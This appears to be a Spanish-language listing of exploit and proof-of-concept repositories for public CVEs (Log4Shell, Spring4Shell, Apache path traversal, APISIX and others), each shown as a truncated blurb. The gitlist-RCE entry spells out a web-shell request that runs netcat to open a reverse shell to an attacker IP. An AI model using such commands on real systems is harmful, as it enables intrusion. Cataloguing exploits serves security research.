CVE-2022-22963

CVE-2022-22963 En las versiones 3.1.6, 3.2.2 y versiones anteriores de Spring Cloud Function, al utilizar la funcionalidad de enrutamiento es posible que un usuario proporcione un SpEL especialmente diseñado como una expresión de enrutamiento que puede resultar en la ejecución remota de código y ...

Blackash-CVE-2025-53833

🚨 CVE-2025-53833 — Crítica ⚠️ SSTI ➜ RCE en LaRecipe Versiones 2.8.1 📌 Descripción general ID de vulnerabilidad : CVE-2025-53833 Componente afectado : LaRecipe un generador de documentación basado en Laravel Versiones afectadas : Todas las versiones anteriores a 2.8.1 Tipo de vulnerabilidad :...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 Implementación de POCsuite y goland del POC de inyección de comandos CVE-2017-17215 en el router Huawei HG532 Implementación con goland Implementación con POCsuite Para la redacción y el código, diríjase a: https://blog.csdn.net/qq41490561/article/details/1276596...

cve-2020-5902

Script de NMAP para la vulnerabilidad RCE "TMUI" de F5 BIG-IP Referer:https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse...

CVE-2017-1000486

CVE-2017-1000486 Proof of Concept Exploit for PrimeFaces 5.x EL Injection CVE-2017-1000486, a RCE vulnerability that can be used to gain Remote Code Execution on a target. Vulnerability description You can find an excellent description of the vulnerability on the Minded Security blog. Usage The...

CVE-2019-5420-RCE

Este repositorio no tiene un README...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Script en bash que permite identificar y/o explotar la vulnerabilidad Log4shell de forma remota. Esta herramienta realiza distintas pruebas usando LDAP payloads y cabeceras X-Api-Version, User-Agent y X-Forwarded-For. Siempre utilizar este script con autorización previa...

CVE-2021-41773

Apache Path Traversal & RCE Exploit CVE-2021-41773 & CVE-2021-42013 These are critical path traversal vulnerabilities affecting Apache HTTP Server 2.4.49 and 2.4.50. They allow attackers to: Access files outside the web root LFI Achieve Remote Code Execution RCE if CGI is enabled Both...

CVE-2026-95656

A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function addwatchuisnapshot of the file changedetectionio/blueprint/addwatchui/init.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side...

EUVD-2026-84576

A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function addwatchuisnapshot of the file changedetectionio/blueprint/addwatchui/init.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit Esta prueba de concepto en Python tiene como objetivo un servicio MCP Protocolo de Contexto del Modelo vulnerable expuesto por la aplicación objetivo. La vulnerabilidad permite a un atacante proporcionar parámetros de configuración del servidor arbitrarios a trav...

CVE-2013-6117

CVE-2013-6117 root@kitploit: $ ./CVE-2013-6117 -h Options: -h, --help mostrar ayuda -f, --filename Archivo con lista de direcciones IP -t, --target IP objetivo -n, --threads Número de hilos concurrentes predeterminado: 100 root@kitploit: $ ./CVE-2013-6117 -f hostfile.txt...

CVE-2016-5734-docker

CVE-2016-5734-docker Vulnerabilidad de ejecución remota de código en PhpMyAdmin 4.0.x—4.6.2 CVE-2016-5734 Configuración root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 Exploit root@kitploit: python3...

cve-2021-42013.get

Apache 2.4.50 - Path Traversal o Ejecución Remota de Código cve-2021-42013.py es un script de Python que ayuda a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para practicar con CVE-2021-42013 Si...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Ejecución Remota de Código cve-2021-42013.py es un script de Python que ayuda a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para poner manos a la obra con...

CVE-2022-24112

Apache APISIX 2.12.x Ejecución Remota de Código RCE Exploit Este script en Python es una Prueba de Concepto PoC para una vulnerabilidad de ejecución remota de código RCE en Apache APISIX versiones 2.12.0 y 2.12.1. La vulnerabilidad radica en el mal uso del campo Lua filterfunc dentro de la API de...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación. Todos los scripts de exploit deben utilizarse exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El auto...

CVE-2019-16662

CVE-2019-16662 El exploit oficial para rConfig 3.9.2 Remote Code Execution CVE-2019-16662...

gitlist-RCE

gitlist-RCE CVE-2014-4511 ejemplo: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-5548

CVE-2025-5548 Investigación de seguridad y análisis técnico de CVE-2025-5548, una vulnerabilidad de desbordamiento de búfer que afecta a FreeFloat FTP Server 1.0. Este repositorio documenta el comportamiento de la vulnerabilidad, el análisis de la superficie de ataque, las pruebas controladas de...